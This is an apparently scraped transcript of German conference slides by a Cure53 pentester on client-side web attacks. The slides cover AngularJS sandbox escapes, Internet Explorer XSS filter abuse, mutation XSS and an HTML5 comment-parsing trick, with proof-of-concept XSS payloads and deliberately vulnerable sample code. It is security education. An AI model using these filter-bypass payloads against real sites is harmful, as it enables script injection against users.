exploiting the client side hell of the web¼hr... · break out of the sandbox •{{99-33}}...
TRANSCRIPT
![Page 1: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/1.jpg)
Exploiting the Client side hell of the web
Msc Alexander Inführ
![Page 2: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/2.jpg)
whoami
• MSc Alexander Inführ
• Pentester bei Cure53
• Browser Security
• Web Security
• PDF Security
![Page 3: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/3.jpg)
![Page 4: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/4.jpg)
AngularJS — Superheroic JavaScript MVVMFramework
• Ein JavaScript MVVM Framework
• Für dynamische Client Based Web Applikationen
• Verwendet Templates
![Page 5: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/5.jpg)
<html ng-app>
<script
src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js">
</script><body>
<div>
<label>Name:</label>
<input type="text" ng-model="yourName" placeholder="Enter a name here">
<hr>
<h1>Hello {{yourName}}!</h1>
<?php echo $_GET[„x“];?>
</div>
</body>
![Page 6: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/6.jpg)
• URL: /angular.php?x={{99-33}}
![Page 7: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/7.jpg)
Break out of the sandbox
• {{99-33}} evaluates zu 66
• Funktioniert an jedem Ort im HTML Dokument
• Benötigt keine normalen XSS HTML Zeichen (eg. < >)• Bypassed dadurch viele Filter
• Sandbox – kein Zugriff auf echtes Window object• {{alert(location);alert(document.cookie)}} => Nicht erlaubt
• Viele Sandbox escapes öffentlich:• Zugriff auf constructor.constructor• Manipulation von nativen Funktionen (toString etc.)
![Page 8: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/8.jpg)
Beispiele{{constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}
http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
![Page 9: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/9.jpg)
Latest News
• AngularJS droppt den Support für Sandbox
• Nie als Sicherheitsfeature gedacht
• Ständig neue Bypasses
• Zu viel Overhead
• Für Pentester: AngularJS Injection einfach zu exploiten
![Page 10: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/10.jpg)
![Page 11: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/11.jpg)
XXN – X-XSS-Nightmare
• Präsentiert von Masato Kinugawa
• X-XSS-Protection: 1• 0: Kein XSS Filter
• 1: Rewriting + Webseite parsen (Default)
• 1; mode=block: XSS erkannt => Webseite wird nicht weiter geparsed• => Blank Page
• Targets Internet Explorer XSS Filter
![Page 12: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/12.jpg)
IE XSS Filters
• Liste von „Regex“ Regeln
• Überprüft URL, Header Values und Post Payloads
• Value Reflected in Server Response:• XSS detected
• Angewandt führ verschiedene Kontexte:• CSS
• Script tags
• In JavaScript Blocks
![Page 13: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/13.jpg)
Reflected XSS Example
• URL: /?x=<svg onload=alert(1)>
![Page 14: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/14.jpg)
Reflected XSS Filter
• IE XSS Filter Match
• /?x=<svg onload=alert(1)
• URL Payload matches in HTML Response • XSS Attack detected -> Rewrite Payload
![Page 15: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/15.jpg)
![Page 16: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/16.jpg)
![Page 17: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/17.jpg)
![Page 18: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/18.jpg)
![Page 19: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/19.jpg)
![Page 20: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/20.jpg)
![Page 21: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/21.jpg)
![Page 22: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/22.jpg)
![Page 23: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/23.jpg)
![Page 24: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/24.jpg)
Take Away
• Einige XXN Bugs bereits gefixed
• X-XSS-Protection: 1 kann sichere Webseiten unsicher machen
![Page 25: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/25.jpg)
![Page 26: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/26.jpg)
MXSS
• Mario Heiderich – innerHTML Apocalypse
• DOM Based XSS
• Mutation des Payloads via innerHTML etc.
![Page 27: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/27.jpg)
Example
• IE 11• x.innerHTML => </style><img src=1 onerror=alert(1)>
• IE 9• x.innerHTML => <img onerror="alert(1)" src="1">
![Page 28: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/28.jpg)
DOM – IE 9 Mode
• IE DOM Explorer Broken – zeigt nicht richtigen DOM
• innerHTML decodierte < und >
• <img> wird danach geparsed und onerror ausgeführt
![Page 29: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/29.jpg)
• Nicht nur IE betroffen
• Viele Beispiele sind mittlerweile gefixed
• MXSS eine große Gefahr für XSS Filter• Eg. Google Caja
• Ab und zu werden noch neue Varianten entdeckt
![Page 30: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/30.jpg)
![Page 31: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/31.jpg)
HTML5 – Komment Parsing
• HTML5• Viele neue Features!
• HTML 5 Komment Parsing• Nicht sehr bekannt
• Wirkt wie ein Bug
![Page 32: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/32.jpg)
• Filter• Keine Anführungszeichen– "
• </script> nicht erlaubt
• Kein Backslash
• New Lines sind erlaubt
<!DOCTYPE html>
<body>
<script> var a = "INJECTION1"</script><script> var b =
"INJECTION2"</script>
</body>
![Page 33: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/33.jpg)
Lösung
<!DOCTYPE html>
<body>
<script> var a = "<!--<script>"</script><script> var b = "/+alert(1)
-->" </script>
</body>
• Das Verhalten lässt sich noch optimieren
![Page 34: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/34.jpg)
Abwandlung
Alert außerhalb des Skript Tags!
<!DOCTYPE html>
<body>
<script> var a = "<!--<script>"</script>/+alert(1)
--></script>
</body>
![Page 35: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/35.jpg)
Erklärung
• Blau: Less Then operator
• Rot: Regular Expression
• Orange: Kommentar für Unterminated String Error
<script>
var a = "<!--<script>ANYTHING"</script><script> var b = "/+alert(1)
-->" </script>
Parsed Content:</script><script> var b = "/+alert(1)
-->"
![Page 36: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/36.jpg)
![Page 37: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/37.jpg)
XSS via location.pathName
• http://example.com/test/“‘>/dddd• Location.pathname
• "/test/%22'%3E/dddd„
• Oft verwendet in Tracking Code
![Page 38: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/38.jpg)
Challenge
• Jquery + Jquery Mobile wird geladen• Jqery Mobile pushStateEnabled
• Location.hash endet in history.pushState
• History.pushState erlaubt es einen neuen Pfad zu setzen, der nicht geladen wird.
• Same Origin
![Page 39: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/39.jpg)
The vulnerable code<script>
$(document).ready(function() {
$('body').append(
' <img class="log" src="/payloadLogger?url=' +
location.protocol + "//" +
location.host +
location.pathname +
escape(location.search) + escape(location.hash) + '">'); })
</script>
![Page 40: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/40.jpg)
Solution – Internet Explorer only
• http://challenge/challenge.html#mhtml:http://challenge/challenge.html
• history.pushState({},{},'mhtml:http://challenge/challenge.html"><svg onload=alert(1)>')
• location.pathname =>
http://challenge/challenge.html"><svg
onload=alert(1)>
![Page 41: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen](https://reader035.vdocuments.us/reader035/viewer/2022081614/5fc9354a07dcd238e673a75a/html5/thumbnails/41.jpg)
URLS
• http://l0.cm/xxn/
• http://de.slideshare.net/x00mario/the-innerhtml-apocalypse
• https://github.com/cure53/XSSChallengeWiki/wiki/Shibuya.XSS-JIZEN-GAKUSHU-Challenge
• https://www.youtube.com/watch?v=wzrojHHyQwc